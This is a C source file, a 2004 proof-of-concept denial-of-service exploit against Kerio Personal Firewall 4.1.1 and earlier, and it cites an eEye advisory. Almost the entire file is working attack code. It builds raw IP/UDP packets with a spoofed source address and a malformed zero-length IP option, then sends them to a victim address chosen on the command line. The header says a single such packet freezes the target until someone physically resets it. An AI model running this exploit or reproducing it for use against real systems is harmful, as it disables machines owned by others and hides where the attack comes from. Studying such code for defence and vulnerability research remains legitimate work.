/* HOD-kerio-firewall-DoS-expl.c: 2004-11-10
 *
 * Copyright (c) 2004 houseofdabus
 *
 * Kerio Personal Firewall Multiple IP Options Denial of Service PoC
 *
 * Coded by
 *
 *
 *                 .::[ houseofdabus ]::.
 *
 *
 *
 * Bug discoveried by eEye:
 * https://www.eeye.com/html/research/advisories/AD20041109.html
 *
 * ---------------------------------------------------------------------
 * Tested on:
 *    - Kerio Personal Firewall 4.1.1
 *
 * Systems Affected:
 *    - Kerio Personal Firewall 4.1.1 and prior
 *
 * ---------------------------------------------------------------------
 * Description:
 *   The vulnerability allows a remote attacker to reliably render
 *   a system inoperative with one single packet. Physical access is
 *   required in order to bring an affected system out of this
 *   "frozen" state. This specific flaw exists within the component
 *   that performs low level processing of TCP, UDP, and ICMP packets.
 *
 * ---------------------------------------------------------------------
 * Compile:
 * Win32/VC++  : cl -o HOD-kpf-DoS-expl HOD-kpf-DoS-expl.c
 * Win32/cygwin: gcc -o HOD-kpf-DoS-expl HOD-kpf-DoS-expl.c -lws2_32.lib
 * Linux       : gcc -o HOD-kpf-DoS-expl HOD-kpf-DoS-expl.c -Wall
 *
 * ---------------------------------------------------------------------
 * Command Line Parameters/Arguments:
 *
 *   HOD-kerio-firewall-DoS-expl <-fi:str> <-ti:str> [-n:int]
 *
 *           -fi:IP    From (sender) IP address
 *           -ti:IP    To (target) IP address
 *           -n:int    Number of packets
 *
 * ---------------------------------------------------------------------
 *
 *   This is provided as proof-of-concept code only for educational
 *   purposes and testing by authorized individuals with permission to
 *   do so.
 *
 */

/* #define _WIN32 */

#ifdef _WIN32
#pragma comment(lib,"ws2_32")
#pragma pack(1)
#define WIN32_LEAN_AND_MEAN 
#include <winsock2.h>
#include <ws2tcpip.h> /* IP_HDRINCL */

#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/timeb.h>
#endif

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

#define MAX_MESSAGE        4068
#define MAX_PACKET         4096

#define DEFAULT_PORT       53
#define DEFAULT_IP         "192.168.0.1"
#define DEFAULT_COUNT      1

#ifndef _WIN32
#       define FAR
#endif


/* Define the IP header */
typedef struct ip_hdr {
    unsigned char  ip_verlen;        /* IP version & length */
    unsigned char  ip_tos;           /* IP type of service */
    unsigned short ip_totallength;   /* Total length */
    unsigned short ip_id;            /* Unique identifier */
    unsigned short ip_offset;        /* Fragment offset field */
    unsigned char  ip_ttl;           /* Time to live */
    unsigned char  ip_protocol;      /* Protocol */
    unsigned short ip_checksum;      /* IP checksum */
    unsigned int   ip_srcaddr;       /* Source address */
    unsigned int   ip_destaddr;      /* Destination address */
} IP_HDR, *PIP_HDR, FAR* LPIP_HDR;


/* Define the UDP header */
typedef struct udp_hdr {
    unsigned short src_portno;       /* Source port number */
    unsigned short dst_portno;       /* Destination port number */
    unsigned short udp_length;       /* UDP packet length */
    unsigned short udp_checksum;     /* UDP checksum (optional) */
} UDP_HDR, *PUDP_HDR;


char udpmsg[] =
"\x4b\x65\x72\x69\x6f\x20\x50\x65\x72\x73\x6f\x6e\x61\x6c\x20\x46"
"\x69\x72\x65\x77\x61\x6c\x6c\x20\x44\x6f\x53\x20\x50\x6f\x43\x20"
"\x28\x34\x2e\x31\x2e\x31\x20\x61\x6e\x64\x20\x70\x72\x69\x6f\x72"
"\x29\x2e\x20\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x20\x28\x63\x29"
"\x20\x32\x30\x30\x34\x20\x68\x6f\x75\x73\x65\x6f\x66\x64\x61\x62"
"\x75\x73\x2e";


/* globals */
unsigned long  dwToIP,               /* IP to send to */
               dwFromIP;             /* IP to send from (spoof) */
unsigned short iToPort,              /* Port to send to */
               iFromPort;            /* Port to send from (spoof) */
unsigned long  dwCount;              /* Number of times to send */
char           strMessage[MAX_MESSAGE]; /* Message to send */



void
usage(char *progname) {
  printf("Usage:\n\n");
    printf("%s <-fi:SRC-IP> <-ti:VICTIM-IP> [-n:int]\n\n", progname);
    printf("       -fi:IP    From (sender) IP address\n");
    printf("       -ti:IP    To (target) IP address\n");
    printf("       -n:int    Number of packets\n");
    exit(1);
}

void
ValidateArgs(int argc, char **argv)
{
    int                i;

    iToPort = 53;
    iFromPort = DEFAULT_PORT;
    dwToIP = inet_addr(DEFAULT_IP);
    dwFromIP = inet_addr(DEFAULT_IP); 
    dwCount = DEFAULT_COUNT;
  memcpy(strMessage, udpmsg, sizeof(udpmsg)-1);

    for(i = 1; i < argc; i++) {
        if ((argv[i][0] == '-') || (argv[i][0] == '/')) {
            switch (tolower(argv[i][1])) {
                case 'f':
                    switch (tolower(argv[i][2])) {
                        case 'i':
                            if (strlen(argv[i]) > 4)
                                dwFromIP = inet_addr(&argv[i][4]);
                            break;
                        default:
                            usage(argv[0]);
                            break;
                    }    
                    break;
                case 't':
                    switch (tolower(argv[i][2])) {
                        case 'i':
                            if (strlen(argv[i]) > 4)
                                dwToIP = inet_addr(&argv[i][4]);
                            break;
                        default:
                            usage(argv[0]);
                            break;
                    }    
                    break;
                case 'n':
                    if (strlen(argv[i]) > 3)
                        dwCount = atol(&argv[i][3]);
                    break;
                default:
                    usage(argv[0]);
                    break;
            }
        }
    }
    return;
}


/*    This function calculates the 16-bit one's complement sum */
/*    for the supplied buffer */
unsigned short
checksum(unsigned short *buffer, int size)
{
    unsigned long cksum=0;

    while (size > 1) {
        cksum += *buffer++;
        size  -= sizeof(unsigned short);   
    }
    if (size) {
        cksum += *(unsigned char *)buffer;   
    }
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >>16); 

    return (unsigned short)(~cksum); 
}




int
main(int argc, char **argv)
{
#ifdef _WIN32
    WSADATA            wsd;
#endif
    int                s;
#ifdef _WIN32
  BOOL                bOpt;
#else
  int                bOpt;
#endif
    struct sockaddr_in remote;
    IP_HDR             ipHdr;
    UDP_HDR            udpHdr;
    int                ret;
    unsigned long      i;
    unsigned short     iTotalSize,
                       iUdpSize,
                       iUdpChecksumSize,
                       iIPVersion,
                       iIPSize,
                       cksum = 0;
    char               buf[MAX_PACKET],
                       *ptr = NULL;
#ifdef _WIN32
    IN_ADDR            addr;
#else
  struct sockaddr_in addr;
#endif

  printf("\nKerio Personal Firewall Multiple IP Options Denial of Service PoC\n\n");
  printf("\tCopyright (c) 2004 .::[ houseofdabus ]::.\n\n");

  if (argc < 3) usage(argv[0]);

    /* Parse command line arguments and print them out */
    ValidateArgs(argc, argv);
#ifdef _WIN32
    addr.S_un.S_addr = dwFromIP;
    printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr), iFromPort);
    addr.S_un.S_addr = dwToIP;
    printf("[*] To   IP: <%s>, port: %d\n", inet_ntoa(addr), iToPort);
    printf("[*] Count:   %d\n", dwCount);
#else
    addr.sin_addr.s_addr = dwFromIP;
    printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iFromPort);
    addr.sin_addr.s_addr = dwToIP;
    printf("[*] To   IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iToPort);
    printf("[*] Count:   %d\n", dwCount);
#endif

#ifdef _WIN32
    if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) {
        printf("[-] WSAStartup() failed: %d\n", GetLastError());
        return -1;
    }
#endif
    /*  Creating a raw socket */
    s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
#ifdef _WIN32
    if (s == INVALID_SOCKET) {
        printf("[-] WSASocket() failed: %d\n", WSAGetLastError());
        return -1;
    }
#endif

    /* Enable the IP header include option */
#ifdef _WIN32
    bOpt = TRUE;
#else
    bOpt = 1;
#endif
    ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt));
#ifdef _WIN32
    if (ret == SOCKET_ERROR) {
        printf("[-] setsockopt(IP_HDRINCL) failed: %d\n", WSAGetLastError());
        return -1;
    }
#endif
    /* Initalize the IP header */
    iTotalSize = sizeof(ipHdr) + sizeof(udpHdr) + sizeof(udpmsg)-1 + 4;

    iIPVersion = 4;
    iIPSize = sizeof(ipHdr) / sizeof(unsigned long);

    iIPSize += 1; /* IP options */

    ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize;
    ipHdr.ip_tos = 0;                         /* IP type of service */
    ipHdr.ip_totallength = htons(iTotalSize); /* Total packet len */
    ipHdr.ip_id = 0;                 /* Unique identifier: set to 0 */
    ipHdr.ip_offset = 0;             /* Fragment offset field */
    ipHdr.ip_ttl = 128;              /* Time to live */
    ipHdr.ip_protocol = 0x11;        /* Protocol(UDP) */
    ipHdr.ip_checksum = 0 ;          /* IP checksum */
    ipHdr.ip_srcaddr = dwFromIP;     /* Source address */
    ipHdr.ip_destaddr = dwToIP;      /* Destination address */

    /* Initalize the UDP header */
    iUdpSize = sizeof(udpHdr) + sizeof(udpmsg)-1;

    udpHdr.src_portno = htons(iFromPort);
    udpHdr.dst_portno = htons(iToPort);
    udpHdr.udp_length = htons(iUdpSize);
    udpHdr.udp_checksum = 0 ;


  iUdpChecksumSize = 0;
    ptr = buf;
  memset(buf, 0, MAX_PACKET);

    memcpy(ptr, &ipHdr.ip_srcaddr,  sizeof(ipHdr.ip_srcaddr));
    ptr += sizeof(ipHdr.ip_srcaddr);
    iUdpChecksumSize += sizeof(ipHdr.ip_srcaddr);

    memcpy(ptr, &ipHdr.ip_destaddr, sizeof(ipHdr.ip_destaddr)); 
    ptr += sizeof(ipHdr.ip_destaddr);
    iUdpChecksumSize += sizeof(ipHdr.ip_destaddr);

    ptr++;
    iUdpChecksumSize += 1;

    memcpy(ptr, &ipHdr.ip_protocol, sizeof(ipHdr.ip_protocol)); 
    ptr += sizeof(ipHdr.ip_protocol);
    iUdpChecksumSize += sizeof(ipHdr.ip_protocol);

    memcpy(ptr, &udpHdr.udp_length, sizeof(udpHdr.udp_length)); 
    ptr += sizeof(udpHdr.udp_length);
    iUdpChecksumSize += sizeof(udpHdr.udp_length);
    
    memcpy(ptr, &udpHdr, sizeof(udpHdr)); 
    ptr += sizeof(udpHdr);
    iUdpChecksumSize += sizeof(udpHdr);

  for(i = 0; i < sizeof(udpmsg)-1; i++, ptr++)
        *ptr = strMessage[i];
    iUdpChecksumSize += sizeof(udpmsg)-1;

    cksum = checksum((unsigned short *)buf, iUdpChecksumSize);
    udpHdr.udp_checksum = cksum;


    memset(buf, 0, MAX_PACKET);
    ptr = buf;

    memcpy(ptr, &ipHdr, sizeof(ipHdr));   ptr += sizeof(ipHdr);

    /* IP option (length = 0x00) */
    memcpy(ptr, "\x88\x00\x12\x34", 4);   ptr += 4;

    memcpy(ptr, &udpHdr, sizeof(udpHdr)); ptr += sizeof(udpHdr);
    memcpy(ptr, strMessage, sizeof(udpmsg)-1);

    remote.sin_family = AF_INET;
    remote.sin_port = htons(iToPort);
    remote.sin_addr.s_addr = dwToIP;

    for(i = 0; i < dwCount; i++) {
#ifdef _WIN32
        ret = sendto(s, buf, iTotalSize, 0, (SOCKADDR *)&remote, 
            sizeof(remote));

        if (ret == SOCKET_ERROR) {
            printf("[-] sendto() failed: %d\n", WSAGetLastError());
            break;
        } else
#else
        ret = sendto(s, buf, iTotalSize, 0, (struct sockaddr *) &remote, 
            sizeof(remote));
#endif
            printf("[+] sent %d bytes\n", ret);
    }

#ifdef _WIN32
    closesocket(s);
    WSACleanup();
#endif

    return 0;
}